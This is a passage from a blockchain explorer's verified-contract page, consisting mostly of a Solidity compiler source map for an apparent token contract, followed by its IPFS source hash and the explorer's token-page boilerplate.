;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13208:4;13213:1;13208:7;;;;;;-1:-1:-1::0;;;13208:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;13208:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13283:15:::1;::::0;13251:62:::1;::::0;13268:4:::1;::::0;13283:15:::1;13301:11:::0;13251:8:::1;:62::i;:::-;13324:15;::::0;:196:::1;::::0;-1:-1:-1;;;13324:196:0;;-1:-1:-1;;;;;13324:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13405:11;;13324:15:::1;::::0;13447:4;;13474::::1;::::0;13494:15:::1;::::0;13324:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;5394:1;;-1:-1:-1::0;5406:6:0;:14;;-1:-1:-1;;;;5406:14:0;;;12919:609::o;1288:223::-;1408:7;1443:12;1436:5;1428:28;;;;-1:-1:-1;;;1428:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1467:9:0;1479:5;1483:1;1479;:5;:::i;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151:23;1183:33;1210:5;1183:33;:::i;:::-;1235:5;-1:-1:-1;1292:2:1;1277:18;;1264:32;1305:35;1264:32;1305:35;:::i;:::-;1057:366;;1359:7;;-1:-1:-1;;;1413:2:1;1398:18;;;;1385:32;;1057:366::o;1428:327::-;;;1557:2;1545:9;1536:7;1532:23;1528:32;1525:2;;;1578:6;1570;1563:22;1525:2;1622:9;1609:23;1641:33;1668:5;1641:33;:::i;:::-;1693:5;1745:2;1730:18;;;;1717:32;;-1:-1:-1;;;1515:240:1:o;1760:297::-;;1880:2;1868:9;1859:7;1855:23;1851:32;1848:2;;;1901:6;1893;1886:22;1848:2;1938:9;1932:16;1991:5;1984:13;1977:21;1970:5;1967:32;1957:2;;2018:6;2010;2003:22;2062:316;;;;2219:2;2207:9;2198:7;2194:23;2190:32;2187:2;;;2240:6;2232;2225:22;2187:2;2274:9;2268:16;2258:26;;2324:2;2313:9;2309:18;2303:25;2293:35;;2368:2;2357:9;2353:18;2347:25;2337:35;;2177:201;;;;;:::o;2383:203::-;-1:-1:-1;;;;;2547:32:1;;;;2529:51;;2517:2;2502:18;;2484:102::o;2591:304::-;-1:-1:-1;;;;;2821:15:1;;;2803:34;;2873:15;;2868:2;2853:18;;2846:43;2753:2;2738:18;;2720:175::o;2900:274::-;-1:-1:-1;;;;;3092:32:1;;;;3074:51;;3156:2;3141:18;;3134:34;3062:2;3047:18;;3029:145::o;3179:607::-;-1:-1:-1;;;;;3538:15:1;;;3520:34;;3585:2;3570:18;;3563:34;;;;3628:2;3613:18;;3606:34;;;;3671:2;3656:18;;3649:34;;;;3720:15;;;3714:3;3699:19;;3692:44;3500:3;3752:19;;3745:35;;;;3469:3;3454:19;;3436:350::o;3791:187::-;3956:14;;3949:22;3931:41;;3919:2;3904:18;;3886:92::o;3983:603::-;;4124:2;4153;4142:9;4135:21;4185:6;4179:13;4228:6;4223:2;4212:9;4208:18;4201:34;4253:4;4266:140;4280:6;4277:1;4274:13;4266:140;;;4375:14;;;4371:23;;4365:30;4341:17;;;4360:2;4337:26;4330:66;4295:10;;4266:140;;;4424:6;4421:1;4418:13;4415:2;;;4494:4;4489:2;4480:6;4469:9;4465:22;4461:31;4454:45;4415:2;-1:-1:-1;4570:2:1;4549:15;-1:-1:-1;;4545:29:1;4530:45;;;;4577:2;4526:54;;4104:482;-1:-1:-1;;;4104:482:1:o;4591:399::-;4793:2;4775:21;;;4832:2;4812:18;;;4805:30;4871:34;4866:2;4851:18;;4844:62;-1:-1:-1;;;4937:2:1;4922:18;;4915:33;4980:3;4965:19;;4765:225::o;4995:349::-;5197:2;5179:21;;;5236:2;5216:18;;;5209:30;5275:27;5270:2;5255:18;;5248:55;5335:2;5320:18;;5169:175::o;5349:398::-;5551:2;5533:21;;;5590:2;5570:18;;;5563:30;5629:34;5624:2;5609:18;;5602:62;-1:-1:-1;;;5695:2:1;5680:18;;5673:32;5737:3;5722:19;;5523:224::o;5752:351::-;5954:2;5936:21;;;5993:2;5973:18;;;5966:30;6032:29;6027:2;6012:18;;6005:57;6094:2;6079:18;;5926:177::o;6108:397::-;6310:2;6292:21;;;6349:2;6329:18;;;6322:30;6388:34;6383:2;6368:18;;6361:62;-1:-1:-1;;;6454:2:1;6439:18;;6432:31;6495:3;6480:19;;6282:223::o;6510:356::-;6712:2;6694:21;;;6731:18;;;6724:30;6790:34;6785:2;6770:18;;6763:62;6857:2;6842:18;;6684:182::o;6871:405::-;7073:2;7055:21;;;7112:2;7092:18;;;7085:30;7151:34;7146:2;7131:18;;7124:62;-1:-1:-1;;;7217:2:1;7202:18;;7195:39;7266:3;7251:19;;7045:231::o;7281:401::-;7483:2;7465:21;;;7522:2;7502:18;;;7495:30;7561:34;7556:2;7541:18;;7534:62;-1:-1:-1;;;7627:2:1;7612:18;;7605:35;7672:3;7657:19;;7455:227::o;7687:350::-;7889:2;7871:21;;;7928:2;7908:18;;;7901:30;7967:28;7962:2;7947:18;;7940:56;8028:2;8013:18;;7861:176::o;8042:400::-;8244:2;8226:21;;;8283:2;8263:18;;;8256:30;8322:34;8317:2;8302:18;;8295:62;-1:-1:-1;;;8388:2:1;8373:18;;8366:34;8432:3;8417:19;;8216:226::o;8447:347::-;8649:2;8631:21;;;8688:2;8668:18;;;8661:30;8727:25;8722:2;8707:18;;8700:53;8785:2;8770:18;;8621:173::o;8799:400::-;9001:2;8983:21;;;9040:2;9020:18;;;9013:30;9079:34;9074:2;9059:18;;9052:62;-1:-1:-1;;;9145:2:1;9130:18;;9123:34;9189:3;9174:19;;8973:226::o;9204:177::-;9350:25;;;9338:2;9323:18;;9305:76::o;9386:983::-;;9696:3;9685:9;9681:19;9727:6;9716:9;9709:25;9753:2;9791:6;9786:2;9775:9;9771:18;9764:34;9834:3;9829:2;9818:9;9814:18;9807:31;9858:6;9893;9887:13;9924:6;9916;9909:22;9962:3;9951:9;9947:19;9940:26;;10001:2;9993:6;9989:15;9975:29;;10022:4;10035:195;10049:6;10046:1;10043:13;10035:195;;;10114:13;;-1:-1:-1;;;;;10110:39:1;10098:52;;10205:15;;;;10170:12;;;;10146:1;10064:9;10035:195;;;-1:-1:-1;;;;;;;10286:32:1;;;;10281:2;10266:18;;10259:60;-1:-1:-1;;;10350:3:1;10335:19;10328:35;10247:3;9657:712;-1:-1:-1;;;9657:712:1:o;10374:184::-;10546:4;10534:17;;;;10516:36;;10504:2;10489:18;;10471:87::o;10563:128::-;;10634:1;10630:6;10627:1;10624:13;10621:2;;;10640:18;;:::i;:::-;-1:-1:-1;10676:9:1;;10611:80::o;10696:217::-;;10762:1;10752:2;;-1:-1:-1;;;10787:31:1;;10841:4;10838:1;10831:15;10869:4;10794:1;10859:15;10752:2;-1:-1:-1;10898:9:1;;10742:171::o;10918:453::-;11014:6;11037:5;11051:314;11100:1;11137:2;11127:8;11124:16;11114:2;;11144:5;;;11114:2;11185:4;11180:3;11176:14;11170:4;11167:24;11164:2;;;11194:18;;:::i;:::-;11244:2;11234:8;11230:17;11227:2;;;11259:16;;;;11227:2;11338:17;;;;;11298:15;;11051:314;;;10995:376;;;;;;;:::o;11376:148::-;;11463:55;-1:-1:-1;;11504:4:1;11490:19;;11484:4;11529:922;11613:8;11603:2;;-1:-1:-1;11654:1:1;11668:5;;11603:2;11702:4;11692:2;;-1:-1:-1;11739:1:1;11753:5;;11692:2;11784:4;11802:1;11797:59;;;;11870:1;11865:183;;;;11777:271;;11797:59;11827:1;11818:10;;11841:5;;;11865:183;11902:3;11892:8;11889:17;11886:2;;;11909:18;;:::i;:::-;11965:1;11955:8;11951:16;11942:25;;11993:3;11986:5;11983:14;11980:2;;;12000:18;;:::i;:::-;12033:5;;;11777:271;;12132:2;12122:8;12119:16;12113:3;12107:4;12104:13;12100:36;12094:2;12084:8;12081:16;12076:2;12070:4;12067:12;12063:35;12060:77;12057:2;;;-1:-1:-1;12169:19:1;;;12204:14;;;12201:2;;;12221:18;;:::i;:::-;12254:5;;12057:2;12301:42;12339:3;12329:8;12323:4;12320:1;12301:42;:::i;:::-;12376:6;12371:3;12367:16;12358:7;12355:29;12352:2;;;12387:18;;:::i;:::-;12425:20;;11593:858;-1:-1:-1;;;;11593:858:1:o;12456:168::-;;12562:1;12558;12554:6;12550:14;12547:1;12544:21;12539:1;12532:9;12525:17;12521:45;12518:2;;;12569:18;;:::i;:::-;-1:-1:-1;12609:9:1;;12508:116::o;12629:125::-;;12697:1;12694;12691:8;12688:2;;;12702:18;;:::i;:::-;-1:-1:-1;12739:9:1;;12678:76::o;12759:135::-;;-1:-1:-1;;12819:17:1;;12816:2;;;12839:18;;:::i;:::-;-1:-1:-1;12886:1:1;12875:13;;12806:88::o;12899:127::-;12960:10;12955:3;12951:20;12948:1;12941:31;12991:4;12988:1;12981:15;13015:4;13012:1;13005:15;13031:133;-1:-1:-1;;;;;13108:31:1;;13098:42;;13088:2;;13154:1;13151;13144:12

Swarm Source

ipfs://26c44b75d8c29a55ed1306ed0f90a213aa0759daf829b9ebf138690f5efa6bef
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.